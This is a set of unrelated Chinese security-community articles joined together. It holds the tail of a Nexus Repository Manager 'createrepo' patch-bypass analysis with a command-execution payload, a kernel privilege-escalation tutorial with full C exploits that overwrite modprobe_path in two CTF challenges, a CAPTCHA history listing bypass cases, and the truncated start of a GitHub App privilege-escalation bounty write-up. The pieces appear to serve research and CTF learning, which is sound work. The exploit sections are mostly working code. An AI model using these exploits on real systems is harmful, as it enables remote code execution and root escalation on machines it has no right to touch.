源（软件仓库），即为存放于本地特定位置的众多rpm包建立索引，描述各包所需依赖信息，并形成元数据。也就是这个`createrepo`在Windows下不太可能存在。如果这个不存在的话是没有办法经过判断的。既然服务器内不存在`createrepo`，那就想办法创建一个，我首先试的是找个上传点，尝试上传一个`createrepo`，但是没找到上传之后名字还能保持不变的点。在`Artifacts
Upload`处上传之后，都变成`Artifact-Version.Packaging`这种形式的名字了，`Artifact-Version.Packaging`这个是不满足第二个判断的，得以`createrepo`结尾。
一开始看到`file.exists()`就走进了思维定势，以为是判断文件存在的，但是看了官方的文档，发现是判断文件或者目录存在的。。这点也就是这个漏洞形成的第二个关键点，我不能创建文件，但是可以创建文件夹啊。在`Artifacts
Upload`上传Artifacts 的时候，可以通过`GAV Parameters`来定义。
当
`Group`设置为`test123`，`Artifact`设置为`test123`，`Version`设置成`1`，当上传`Artifacts`的时候，是会在服务器中创建对应的目录的。对应的结构如下
如果我们将`Group`设置为`createrepo`，那么就会创建对应的`createrepo`目录。
结合两个特性来测试一下
String cmd = "C:\\Windows\\System32\\calc.exe \\..\\..\\..\\nexus\\sonatype-work\\nexus\\storage\\thirdparty\\createrepo";
File file = new File(cmd);
System.out.println(file.exists());
System.out.println(file.getName());
System.out.println(file.getAbsolutePath());
可以看到，`file.exists()`返回了true，`file.getName()`返回了`createrepo`，都符合判断了。
最后到`getRuntime()`里面大概就是`getRuntime.exec({"C:\Windows\System32\notepad.exe","\..\..\..\nexus\sonatype-work\nexus\storage\thirdparty\createrepo","--version"})`
是可以成功执行`notepad.exe`的。(calc.exe演示看不到进程哈，所以换成Notepad.exe)
#### 第二次绕过测试
##### 测试环境
* 2.14.15-01 版本
* Windows
##### 测试步骤
在`Path of "createrepo"`里面传入 payload。
查看进程，`notepad.exe`启动了
可以看到，成功绕过了补丁。
### 第二次绕过分析+
经过Badcode师傅第二次绕过分析，可以看到能成功在Windows系统执行命令了。但是有一个很大的限制：
1. nexus需要安装在系统盘
2. 一些带参数的命令无法使用
在上面说到的`Artifacts
Upload`上传处是可以上传任意文件的，并且上传后的文件名都是通过自定义的参数拼接得到，所以都能猜到。那么可以上传自己编写的任意exe文件了。
#### 第二次绕过分析+测试
##### 测试环境
* 2.14.15-01 版本
* Windows
##### 测试步骤
导航到`Views/Repositories->Repositories->3rd
party->Configuration`，我们可以看到`默认本地存储位置`的绝对路径（之后上传的内容也在这个目录下）：
导航到`Views/Repositories->Repositories->3rd party->Artifact
Upload`，我们可以上传恶意的exe文件：
该exe文件将被重命名为`createrepo-1.exe`（自定义的参数拼接的）：
同样在`Path of "createrepo"`里面传入
payload（这时需要注意前面部分这时是以nexus安装目录开头的，这在补丁中会判断，所以这里可以在最顶层加`..\`或者弄个虚假层`aaa\..\`等）：
可以看到createrepo-1.exe已经执行了：
### 最新版本分析
#### 最新版本补丁分析
第二次补丁绕过之后，官方又进行了修复，官方补丁主要如下：
删除了之前的修复方式，增加了`YumCapabilityUpdateValidator`类，在`validate`中将获取的值与properties中设置的值使用`equals`进行绝对相等验证。这个值要修改只能通过`sonatype-work/nexus/conf/capabilities.xml`：
#### 最新版本验证
前端直接禁止修改了，通过抓包修改测试：
在`YumCapabilityUpdateValidator.validate`断到：
可以看到这种修复方式无法再绕过了，除非有文件覆盖的地方覆盖配置文件，例如解压覆盖那种方式，不过没找到。
不过`Artifacts Upload`那里可以上传任意文件的地方依然还在，如果其他地方再出现上面的情况依然可以利用到。
* * * | 社区文章 |
# Kernel提权方法之modprobe_path覆写
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## modprobe_path介绍
`modprobe_path`是用于在`Linux`内核中添加可加载的内核模块，当我们在`Linux`内核中安装或卸载新模块时，就会执行这个程序。他的路径是一个内核全局变量，默认为
`/sbin/modprobe`，可以通过如下命令来查看该值：
cat /proc/sys/kernel/modprobe
-> /sbin/modprobe
此外，`modprobe_path`存储在内核本身的`modprobe_path`符号中，且具有可写权限。也即普通权限即可修改该值。
而当内核运行一个错误格式的文件（或未知文件类型的文件）的时候，也会调用这个
`modprobe_path`所指向的程序。如果我们将这个字符串指向我们自己的`sh`文件 ，并使用 `system`或 `execve`
去执行一个未知文件类型的错误文件，那么在发生错误的时候就可以执行我们自己的二进制文件了。其调用流程如下：
（1）do_execve()
（2）do_execveat_common()
（3）bprm_execve()
（4）exec_binprm()
（5）search_binary_handler()
（6）request_module()
（7）call_usermodehelper()
那么查看 `__request_module` 源码如下，本质就是调用了 `call_usermodehelper`函数：
int __request_module(bool wait, const char *fmt, ...)
{
va_list args;
char module_name[MODULE_NAME_LEN];
unsigned int max_modprobes;
int ret;
// char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
char *argv[] = { modprobe_path, "-q", "--", module_name, NULL };
static char *envp[] = { "HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL }; // 环境变量.
static atomic_t kmod_concurrent = ATOMIC_INIT(0);
#define MAX_KMOD_CONCURRENT 50 /* Completely arbitrary value - KAO */
static int kmod_loop_msg;
va_start(args, fmt);
ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
va_end(args);
if (ret >= MODULE_NAME_LEN)
return -ENAMETOOLONG;
max_modprobes = min(max_threads/2, MAX_KMOD_CONCURRENT);
atomic_inc(&kmod_concurrent);
if (atomic_read(&kmod_concurrent) > max_modprobes) {
/* We may be blaming an innocent here, but unlikely */
if (kmod_loop_msg++ < 5)
printk(KERN_ERR
"request_module: runaway loop modprobe %s\n",
module_name);
atomic_dec(&kmod_concurrent);
return -ENOMEM;
}
ret = call_usermodehelper(modprobe_path, argv, envp, // 执行用户空间的应用程序
wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
atomic_dec(&kmod_concurrent);
return ret;
}
接着查看
`call_usermodehelper`函数源码，该函数用于在内核空间中执行用户空间的程序，并且该程序具有`root`权限。这也保证了我们自己所写的
`sh`文件在被执行时，能执行具有`root`权限的功能，实现提权。
call_usermodehelper(char *path, char **argv, char **envp, enum umh_wait wait);
enum umh_wait {
UMH_NO_WAIT = -1, /* don't wait at all */
UMH_WAIT_EXEC = 0, /* wait for the exec, but not the process */
UMH_WAIT_PROC = 1, /* wait for the process to complete */
};
代码如下所示：
system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
system("chmod +x /tmp/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl");
system("chmod +x /tmp/fl");
//changed modprobe_path
system("/tmp/fl")
1. 首先创建了一个我们自己的 sh文件 geflag.sh，用于 将 /flag拷贝到 /tmp/flag下，并赋予 /tmp/flag为可读可写可执行权限。然后赋予 /tmp/getflag.sh可执行权限。
2. 随后创建了一个错误格式头的文件 /tmp/fl，并赋予其可执行权限
3. 当我们覆写了 modprobe_path为 /tmp/getflag.sh后，调用 system(“/tmp/fl”)触发错误，随后就能以root权限执行 /tmp/getflag.sh，完成将原本只能 root可读的flag拷贝到 /tmp目录下，并赋予可读权限
此外，我们该如何确定 `modprobe_path`符号的存储地址呢？在内核题目中，通常使用 `cat /proc/kallsyms`来获取符号地址，但是
`modprobe_path`并不在其中。这里我们可以考虑查找引用了`modprobe_path`符号的地址，来获取其地址。而在上面
`__request_module`代码中，即引用了 `modprobe_path`的地址。所以我们可以通过以下方法找到
`modprobe_path`地址：
* 先通过 /proc/kallsyms找到 __request_module地址
* 随后查看 __reques_module函数汇编，找到 modprobe_path的引用
/ # cat /proc/kallsyms | grep __request
ffffffffbb2aad00 T __request_module
ffffffffbb1afdb8 t __request_module.cold
ffffffffba886e60 T __request_percpu_irq
ffffffffbb2baa30 T __request_region
ffffffffbaee47fc t __request_region.cold
ffffffffba8aa2b0 t __request_resource
pwndbg> x/28i 0xffffffffbb2aad00
0xffffffffbb2aad00: push rbp
0xffffffffbb2aad01: mov rbp,rsp
0xffffffffbb2aad04: push r14
0xffffffffbb2aad06: push r13
0xffffffffbb2aad08: push r12
0xffffffffbb2aad0a: mov r12,rsi
0xffffffffbb2aad0d: push r10
0xffffffffbb2aad0f: lea r10,[rbp+0x10]
0xffffffffbb2aad13: push rbx
0xffffffffbb2aad14: mov r13,r10
0xffffffffbb2aad17: mov ebx,edi
0xffffffffbb2aad19: sub rsp,0xb0
0xffffffffbb2aad20: mov QWORD PTR [rbp-0x48],rdx
0xffffffffbb2aad24: mov QWORD PTR [rbp-0x40],rcx
0xffffffffbb2aad28: mov QWORD PTR [rbp-0x38],r8
0xffffffffbb2aad2c: mov QWORD PTR [rbp-0x30],r9
0xffffffffbb2aad30: mov rax,QWORD PTR gs:0x28
0xffffffffbb2aad39: mov QWORD PTR [rbp-0x60],rax
0xffffffffbb2aad3d: xor eax,eax
0xffffffffbb2aad3f: test dil,dil
0xffffffffbb2aad42: jne 0xffffffffbb2aaec8
0xffffffffbb2aad48: cmp BYTE PTR [rip+0x59d711],0x0 # 0xffffffffbb848460
0xffffffffbb2aad4f: je 0xffffffffbb2ab024
0xffffffffbb2aad55: lea rax,[rbp-0x58]
0xffffffffbb2aad59: lea rcx,[rbp-0xb0]
0xffffffffbb2aad60: mov rdx,r12
0xffffffffbb2aad63: mov esi,0x38
0xffffffffbb2aad68: lea rdi,[rbp-0x98]
pwndbg> x/s 0xffffffffbb848460
0xffffffffbb848460: "/sbin/modprobe"
那么，总结一下该 技术的使用条件：
* 知道 modprobe_path地址
* 拥有一个任意地址写漏洞，用于修改 modprobe_path内容
## 2019 SUCTF Sudrv
### 漏洞分析
__int64 __fastcall sudrv_ioctl(__int64 a1, int a2, __int64 size)
{
__int64 result; // rax
switch ( a2 )
{
case 0x73311337:
if ( (unsigned __int64)(size - 1) > 0xFFE )
return 0LL;
su_buf = (char *)_kmalloc(size, 0x480020LL);
result = 0LL;
break;
case (int)0xDEADBEEF:
if ( su_buf )
JUMPOUT(0xB8LL);
result = 0LL;
break;
case 0x13377331:
kfree(su_buf);
result = 0LL;
su_buf = 0LL;
break;
default:
return 0LL;
}
return result;
}
void __fastcall sudrv_ioctl_cold_2(__int64 a1)
{
printk(a1);
JUMPOUT(0x38LL);
}
程序总体有三个功能，一个是分配堆块，大小由用户输入；一个是释放堆块；一个是输出函数。其中在输出函数中，存在格式化字符串漏洞，使得我们可以泄露数据：
void __fastcall sudrv_ioctl_cold_2(__int64 a1)
{
printk(a1);
JUMPOUT(0x38LL);
}
还实现了一个 write函数，可以输入用户的数据到堆块中，这里没有对size进行检查，导致可以堆溢出。
__int64 sudrv_write()
{
__int64 result; // rax
if ( (unsigned int)copy_user_generic_unrolled(su_buf) )
result = -1LL;
else
result = sudrv_write_cold_1();
return result;
}
### 漏洞利用
这道题的预期解是通过堆溢出，修改`slab`堆块的`next`指针，来将`slab`堆块分配到栈上，然后执行`ROP`。
但这道题，如果运用覆写
`modprobe_path`将会更加简单。首先这道题可以通过格式化字符串漏洞输出内核地址，从而得到`modprobe_path`的地址，其次这道题可以通过分配伪造堆块来实现任意地址写。完全符合覆写
`modprobe_path`的要求。
**_泄露地址_**
首先通过一个格式化字符串漏洞，输出栈上保留的内核地址，经过调试发现栈上第一个地址即是符合要求的内核地址，其与`modprobe_path`相差
`0x107a0a1`。此时栈上数据如下所示，`rsp`所指向的值就是一个内核地址。
rsp 0xffffb9fdc07dbe80 —▸ 0xffffffff9d5c827f ◂— mov ebx, eax /* 0xffffffdfd3dc389 */
0xffffb9fdc07dbe88 ◂— add byte ptr [rax + 0x13], dl /* 0xae2df5d5a3135000 */
0xffffb9fdc07dbe90 ◂— 0
0xffffb9fdc07dbe98 —▸ 0xffffffff9e69a268 ◂— 0
0xffffb9fdc07dbea0 —▸ 0xffffb9fdc07dbed8 —▸ 0xffff998c47a86700 ◂— 0
0xffffb9fdc07dbea8 ◂— out dx, eax /* 0xdeadbeef */
0xffffb9fdc07dbeb0 —▸ 0xffff998c47a86700 ◂— 0
0xffffb9fdc07dbeb8 ◂— 0
**_任意地址写_**
然后就利用堆溢出漏洞修改空闲堆块的`next`指针为 `modprobe_path`地址，来实现分配伪造堆块到
`modprobe_path`处。关于内核堆的知识，这里不做展开讲述，可以参考[这篇文章](https://blog.csdn.net/lukuen/article/details/6935068)。简单来说`Linux`内核对小内存分配使用的是
`slab/slub`分配器，其与glibc下的`ptmalloc`的`fastbin`有许多类似的地方，比如`Kfree`后，空闲堆块也会有
`fd`指针指向下一个空闲块。而且`slab`分配的空闲堆块从一开始地址都是连续的，他们共同组成一个内存页面。类似如下，第一个 `0x400`
空闲堆块其堆头的`next`指向`0xffff400`地址，也就是紧邻的下一个`0x400`空闲堆块，而 `0xffff400`的`next`指针指向了
`0xffff800`的空闲堆块。
0xffff000 | next-> 0x400 | 0x0 |
...
0xffff400 | next-> 0x800 | 0x0 |
...
0xffff800 | next->0xc00 | 0x0 |
...
所以，通过堆溢出，修改紧邻的下一个空闲堆块的`next`指针指向 `modprobe_path`，然后再分配两次堆块，即可将伪造堆块分配到
`modprobe_path`地址处。
最后，将`modprobe_path`按照上述覆写为 `/tmp/getflag.sh`即可。
pwndbg> x/s 0xffffffff9f242320
0xffffffff9f242320: "/tmp/getflag.sh"
`EXP`如下：
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
int fd;
size_t offset = 0x0;
void cmalloc(int size){
if(-1 == ioctl(fd, 0x73311337, size)){
printf('malloc error\n');
}
}
void cfree(){
if(-1 == ioctl(fd, 0x13377331, NULL)){
printf('free error\n');
}
}
void cprintf(){
if(-1 == ioctl(fd, 0xDEADBEEF, NULL)){
printf('print error\n');
}
}
void main(){
system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
system("chmod +x /tmp/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
fd = open("/dev/meizijiutql", O_RDWR);
char buf[0x1000] = { 0 };
char mod[0x20] = { 0 };
cmalloc(168);
char buff[150] = "%llx-%llx-%llx-%llx-%llx-kernel:%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx-%llx";
write(fd, buff, 150);
printf("=========>begin leak addr\n");
cprintf();
cprintf();
printf("===== please input modprobe_path(kernel_addr+0x107a0a1) addr:\n");
scanf("%lx",mod);
printf("modprobe_path:0x%lx\n",mod);
printf("kmalloc first\n");
cmalloc(0x80);
write(fd, buf, 0x60);
cprintf();
cprintf();
cmalloc(0x400);
cmalloc(0x400);
memset(buf, 'a', 0x400);
strncat(buf, mod, 0x8);
printf("modprobe_path: %lx\n",buf[0x400]);
cmalloc(0x400);
printf("chunk overflow\n");
write(fd, buf, 0x408);
cmalloc(0x400);
write(fd, "/tmp/getflag.sh", 0x20);
cmalloc(0x400);
printf("change modprobe_path\n");
write(fd, "/tmp/getflag.sh", 0x20);
close(fd);
system("/tmp/ll");
system("cat /tmp/flag");
}
## 2020-D^3CTF liproll
### 漏洞分析
__int64 __fastcall liproll_unlocked_ioctl(__int64 a1, unsigned int a2, unsigned int *a3)
{
__int64 result; // rax
if ( a2 == 0xD3C7F03 )
{
create_a_spell();
result = 0LL;
}
else if ( a2 > 0xD3C7F03 )
{
if ( a2 != 0xD3C7F04 )
return 0LL;
choose_a_spell(a3);
result = 0LL;
}
else
{
if ( a2 != 0xD3C7F01 )
{
if ( a2 == 0xD3C7F02 )
{
global_buffer = 0LL;
*(&global_buffer + 1) = 0LL;
}
return 0LL;
}
cast_a_spell(a3);
result = 0LL;
}
return result;
}
主要实现了四种功能，`create_spell`是创建一个 `spell`结构体并为其分配内存，将其保存在`list`中
；`choose_a_spell`是从 list中选择
一个`spell`结构体；`cast_spell`主要功能是将用户传入的字符串拷贝到`global_buffer`中：
unsigned __int64 __fastcall cast_a_spell(__int64 *a1)
{
unsigned int size; // eax
int v2; // edx
__int64 src; // rsi
_BYTE dst[256]; // [rsp+0h] [rbp-120h] BYREF
void *global_buf1; // [rsp+100h] [rbp-20h]
int v7; // [rsp+108h] [rbp-18h]
unsigned __int64 v8; // [rsp+110h] [rbp-10h]
v8 = __readgsqword(0x28u);
if ( !global_buffer )
return cast_a_spell_cold();
global_buf1 = global_buffer;
size = *((_DWORD *)a1 + 2);
v2 = 256;
src = *a1;
if ( size <= 0x100 )
v2 = *((_DWORD *)a1 + 2);
v7 = v2;
if ( !copy_from_user(dst, src, size) )
{
memcpy(global_buffer, dst, *((unsigned int *)a1 + 2));
global_buffer = global_buf1;
*((_DWORD *)&global_buffer + 2) = v7;
}
return __readgsqword(0x28u) ^ v8;
}
而我们注意将用户输入字符串`src`是先拷贝到栈上 `dst`处，其大小为 `0x100`，而程序对输入的
`src`大小没有做限制。也即是这里存在缓冲区溢出漏洞，可以通过溢出
`dst`修改后续的`global_buf1`和`v7`，而这两个变量后面可以修改全局变量 `global_buffer`和 `size`。
而通过该漏洞修改了 `global_buffer`和 `size`漏洞后，便可以再结合 `cast_a_spell` 实现任意地址写。
### 利用分析
这道题开启了 `FG-KASLR`会导致`vmlinux` 和相应的内核模块以函数为单位分段，然后在原先地址随机化的基础上打乱函数加载顺序。也即增大了使用
`ROP`技术的难度。但是这道题如果通过覆写 `modprobe_path`，则会使难度大大减小。
为了达到覆写 `modprobe_path`的要求，首先一个任意地址写漏洞已经存在，其次就是要泄露地址。
**_泄露地址_**
在`choose_a_spell`可以指定一个`spell`结构体，而这里存在索引上溢。当我们指向16时，`list`数组将会取出紧邻的`vmlinux_base`地址，然后我们将该地址的数据打印出来，如下所示。而在`0x69`偏移处可以找到一个关于
`vmlinux`的地址，根据这个地址可以得到 `vmlinux_base`地址。
那么我们即可使用`read`函数将其读取出来，泄露了`kernel`地址，加上其与`modprobe_path`的偏移，即可得到`modprobe_path`的地址，该地址是不受
`FG-KASLR`影响的。
pwndbg> x/28i 0xffffffff9d800000
0xffffffff9d800000: lea rsp,[rip+0x1403f51] # 0xffffffff9ec03f58
0xffffffff9d800007: call 0xffffffff9d8000f0
0xffffffff9d80000c: lea rdi,[rip+0xffffffffffffffed] # 0xffffffff9d800000
0xffffffff9d800013: push rsi
0xffffffff9d800014: call 0xffffffff9d800200
0xffffffff9d800019: pop rsi
0xffffffff9d80001a: add rax,0x1f256000
0xffffffff9d800020: jmp 0xffffffff9d800042
0xffffffff9d800022: data16 nop WORD PTR cs:[rax+rax*1+0x0]
0xffffffff9d80002d: nop DWORD PTR [rax]
0xffffffff9d800030: call 0xffffffff9d8000f0
0xffffffff9d800035: push rsi
0xffffffff9d800036: call 0xffffffff9e528460
0xffffffff9d80003b: pop rsi
0xffffffff9d80003c: add rax,0x1ec0a000
0xffffffff9d800042: mov ecx,0xa0
0xffffffff9d800047: test DWORD PTR [rip+0x12d0807],0x1 # 0xffffffff9ead0858
0xffffffff9d800051: je 0xffffffff9d800059
0xffffffff9d800053: or ecx,0x1000
0xffffffff9d800059: mov cr4,rcx
0xffffffff9d80005c: add rax,QWORD PTR [rip+0x1411fad] # 0xffffffff9ec12010
0xffffffff9d800063: mov cr3,rax
0xffffffff9d800066: mov rax,0xffffffff9d80006f //此处存在vmlinux地址
**_覆写modprobe_path_**
得到`modprobe_path`地址后。我们按照上述的缓冲区溢出漏洞构造任意地址写。构造数据如下：
memset(buffer, 0x0, 0x100);
(unsigned long long)buffer[0x100] = modprobe_path;
printf("buffer_addr: 0x%llx\n", buffer[0x100]);
那么即可将 `global_buffer`的地址修改为 `modprobe_path`的地址。然后我们再次执行 `cast_a_spell`向
`modprobe_path`地址处写入我们自己伪造的`shell`文件。即可实现获得`flag`。
`EXP`如下：
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
typedef struct Spell_struct{
char* buf;
unsigned int * size;
}Spell;
void create(int fd){
if(0 < ioctl(fd, 0xD3C7F03)){
printf(' create error\n');
}
}
void choose(int fd, unsigned int arg3){
if(0 < ioctl(fd, 0xD3C7F04, &arg3)){
printf(' choose error\n');
}
}
void cast(int fd, Spell arg3){
if(0 < ioctl(fd, 0xD3C7F01, &arg3)){
printf('cast error\n');
}
}
void init(int fd, unsigned int arg3){
if(0 < ioctl(fd, 0xD3C7F02, &arg3)){
printf('cast error\n');
}
}
void main(){
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
system("chmod +x /tmp/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl");
system("chmod +x /tmp/fl");
int fd = 0;
fd = open("/dev/liproll",O_RDWR);
create(fd);
create(fd);
char buffer[0x200] = { 0 };
choose(fd, 0);
choose(fd, 16);
read(fd, buffer, 0x100);
for(int i=0; i<60; i++){
printf("buffer_value: %d 0x%x\n", i, (int)buffer[i]);
}
unsigned int vmlinx_addr = *(unsigned int*)(buffer+0x69);
printf("vmlibux_addr: 0x%lx", vmlinux_addr);
unsigned long long vmlinux_base = 0xffffffff00000000 + (vmlinux_addr & 0xffff0000);
unsigned long long modprobe_path = 0x1448460 + vmlinux_base;
printf("vmlinux_base : 0x%llx\n",vmlinux_base);
printf("modprobe_path : 0x%llx\n",modprobe_path);
memset(buffer, 0x0, 0x100);
*(unsigned long long *)(buffer+0x100) = modprobe_path;
printf("buffer_addr: 0x%llx\n %p\n", (size_t)buffer[0x100], &buffer);
Spell spell_user;
spell_user.buf = buffer;
spell_user.size = 0x108;
choose(fd, 0);
cast(fd, spell_user);
char modname[0x20] ={ 0 };
strncpy(modname, "/tmp/getflag.sh", 0x20);
spell_user.buf = modname;
cast(fd, spell_user);
getchar();
system("/tmp/fl");
system("cat /tmp/flag");
return;
}
## 总结
覆写`modprobe_path`来在`Kernel`中完成提权，其使用条件比较简单，有时候能帮助我们降低解体难度，是一种十分可靠和简洁的思路。当然还有类似的思路，也是值得我们后续深入学习。
## 参考
[Linux Kernel Exploitation Technique: Overwriting
modprobe_path](https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/)
[Linux Kernel Exploit 内核漏洞学习(4)-RW Any Memory](https://xz.aliyun.com/t/6067) | 社区文章 |
说起验证码，不得不提2016年春运12306购票网站上令人绝望的图片验证码（图1），有网友戏称：“其难度之大不亚于一次高考”，“12306验证码已经击败了全国99%购票者”，那么验证码究竟为什么会变成这样？他经历了哪些发展历程？今天，我们就来聊一聊验证码。
一、什么是验证码？
验证码的学名叫做CAPTCHA，是Completely Automated Public Turing test to tell Computers and
HumansApart缩写，意为“全自动区分计算机和人类的公开图灵测试”，也就是一种用来区分人类和计算机的方法。通常是由计算机生成一个对人类而言很容易而对电脑而言非常困难的问题，能回答者被判定为人。
验证码测试其实不是标准的图灵测试，因为标准图灵测试是人类来考计算机的。通常的人工智能研究者的目标是让他们设计的系统通过图灵测试，让人类无法区分对方是人还是机器，从而说明人工智能能够接近人类的智慧。与之相对，验证码是计算机出题来考人类（当然，这个题目怎么出，也是由人来设计，然后计算机自动产生的）。验证码的目的是不让计算机通过验证，从而阻止人们用计算机做其不应该做的事情。通常这些事情如果用计算机程序来做，可以做到数量很大，或者速度很快，或者兼而有之，从而破坏正常用户的使用秩序。
二、验证码的进化史1.前验证码时代
一开始，网络上是没有验证码的，网上机器人程序横行，垃圾信息、垃圾邮件、垃圾广告到处乱飞，论坛被灌水，有用信息瞬间淹没，恶意破解密码、恶意刷票......
其中，受影响最大的当属电子邮件的提供商：他们的用户每天收到数以百计的垃圾邮件轰炸，严重地影响了正常的工作；更要命的是，这些垃圾邮件还是用他们的免费邮箱发出的。他们不可能一一审查邮件，因为那既不尊重隐私，工作量也太大。
难道就没有任何手段约束程序机器人了吗？当时最有实力的邮件提供商Yahoo（雅虎）公司决定下狠劲改善这个问题。很快，雅虎的负责人联系到了当时卡内基梅陇大学一位21岁的学生，他叫路易斯·冯·安（Luis
von
Ahn）。
2.验证码诞生 2002年，路易斯·冯·安(Luis von
Ahn)和他的小伙伴在卡内基梅隆第一次提出了CAPTCHA(验证码)这样一个程序概念，在当时的条件下，识别扭曲的图形，对于机器来说还是一个很艰难的任务，而对于人来说，则相对可以接受。yahoo在当时第一个应用了图形化验证码这个产品，很快解决了yahoo邮箱上的垃圾邮件问题，因此图形类验证码开始了大发展时期。
3.验证码进化——reCAPTCHA
21岁的路易斯·冯·安发明了验证码后真是名利双收，但他享受了掌声和鲜花后冷静了下来，为一件“小事”感到耿耿于怀：全世界的网民每天要输入验证码接近2亿次，假设每次花费10秒，那么算下来每天要花费50万小时。这个时间如果能利用起来，那将会有多大的力量啊。
路易斯将目光投向了旧书摊。信息时代来临之际，很多古旧的书籍报纸需要整理成电子版，但是电脑扫描辨识时常常出错，因为这些旧资料常常不可避免地有着字迹模糊、褪色、污损的情况。路易斯比任何人都清楚电脑在辨识文字上有多笨拙。唯一的方法是人工核对。但这样的工作显然不是一个人或者一个公司可以胜任的，为什么不让网民们来帮忙呢？
路易斯用一贯简洁优美的思路解决了这个问题，并将它起名为reCAPTCHA（意思是“二次验证码”）：他让用户一次性辨识两个单词，其中一个是系统生成的真正的验证码，另外一个是从旧报纸上截下来的单词。如果用户输对了第一个验证码，那么输对第二个单词的几率也很高。用这一个方法，在短短几个月时间内，路易斯让网民们帮忙完成了纽约时代130年来所有旧报纸的存档电子化——这原本可是个让人望而生畏的大工程啊。
4.图片验证码对抗与攻击升级
验证码实际上就是一种人机大战。随着电脑技术的飞速发展，有效的图像识别技术、OCR（光学字符识别）技术已经被开发出来了，路易斯在世纪初开发的那种简单验证码在尖端的破解手段面前，差不多就像是个拄着拐杖、摇摇晃晃的老头，一推就倒了。
难道普通的验证码就没有用了吗？
并不是，安全是是一个博弈的过程，加密方成本远低于破解方，当攻击成本大于可获得利益时，自然就没有人来攻击了。验证码还需综合考虑用户体验、技术成本、安全性等等。
5.进阶验证码
有些网站推出了动态的验证码，令机器人很难捕捉，同时动画效果能够增加网页的美观程度；很多大型的购物网站要求发送手机短信验证码，确保操作用户是本人；又或者是问用户一个常识性的问题，比如“牛奶和汽油哪个可以喝？”，总之就是一些机器不会、但是人类可以轻易做到的事。
三、验证码安全问题汇总
验证码实现流程
1.客户端发起一个请求2.服务端响应并创建一个新的SessionID同时生成一个随机验证码3.服务端将验证码和SessionID一并返回给客户端4.客户端提交验证码连同SessionID给服务端5.服务端验证验证码同时销毁当前会话，返回给客户端结果根据上面的实现流程，我们大概可以从四个方面入手，客户端问题、服务端问题、验证码本身问题，还有一个验证码流程设计问题。案例1：验证码输出在客户端某会考报名系统验证码绕过，其验证码直接输出在客户端，可直接提取进行绕过。
案例2：验证码输出在cookie吉祥航空某系统将验证码放在cookie中，用户可直接从cookie中提取进行绕过。
案例3：验证码不过期很多验证码设计中都没有在服务端主动销毁验证码的机制，而是依赖客户端刷新来覆盖旧的验证码，导致一个验证码可以重复使用。
案例4：验证码问题集内的答案非常有限139邮箱系统验证码答案有限，可暴力破解。
如上图，不用看图验内容，直接输入1.2.3.4或字母a,b,c,d任意一个，重复提交，即可绕过。案例5：万能验证码百度空间用户登录绕过验证码验证，不论验证码为多少，输入“0000”即可绕过。
四、安全的验证码1.梳理好验证码验证逻辑，避免上述出现的常见问题；2.验证码不要过于简单；3.目前还没有永远无法被破解的验证码机制；验证码识别的研究永远是一个双赢的结果：或者有一种验证码不能被破解，网络安全依然有保障；或者验证码被识别，则人工智能和机器学习水平得到进一步的提高。
那么，验证安全的终极奥义是什么呢？google提出了一个概念叫human behavior
analysis，大意是将用户的行为做为判断人与计算机的准则。这个理念提出的意义在于，不再依靠图灵测试即单一的答案来判断人机，而是通过用户一系列的上网行为来确定访问者是人，还是机器。但是从google目前的前端代码层和具体流程来看，目前只是试探性的的发展，如果这个理念能够实际操作并完善，那么验证码的安全性将提高的一个史无前例的高水平，至少破解门槛不会低到仅仅调用一下公共接口就瞬间破解。 | 社区文章 |
# 使用GitHub应用程序提升到组织所有者权限，获得10,000美元的奖励
##### 译文声明
本文是翻译文章，文章来源：medium.com
原文地址：<https://medium.com/@cachemoney/using-a-github-app-to-escalate-to-an-organization-owner-for-a-10-000-bounty-4ec307168631>
译文仅供参考，具体内容表达以及含义原文为准。
过去我从未参与过GitHub的长期奖金计划，但HackTheWorld终身免费私人存储库促销引起了我的兴趣。
我将通过一个简单但高影响力的权限升级漏洞来达到我的目的，这个升级是我在探索中发现的。
在这种情况下，我能够利用GitHub应用程序从组织成员升级到帐户所有者。
## 背景
首先，让我们回顾一下GitHub组织的简单用户角色。 我添加这部分来演示所有者帐户的功能，以及如何采取措施来最大限度地减少授权。
> 外部合作者（为了完整性） – 在技术上不属于组织的角色，只被授予了对特定存储库的访问权限而已。
>
> 成员 – 在组织内部权限最低的角色。 根据组织设置，该角色可能只能查看或对部分存储库进行“写入”访问。
> 成员可以通过此权限获得的最高访问级别是存储库管理员，这将允许更改该特定存储库的大多数配置设置。
>
> 所有者 – 可以在组织内部发挥最高作用，这基本上等于超级管理员。 该角色能够被允许查看和编辑所有组织数据和存储库;
> 但更关键的是，不可逆转地删除整个组织及其代码。
组织在GitHub中被广泛使用，常见的假设是当适当的访问控制做的到位时（例如，不给每个存储库的管理员访问权限），那么其成员就不会构成威胁。
一种常见的模式是将成员放入“团队”，并使用这些团队来促成跨存储库的访问控制。使用这种模式，组织所有者可以被限制在一个小部分用户子集里，因为基于团队的控制足以在需要的地方才提供扩展访问。
## 挖掘GitHub应用程序
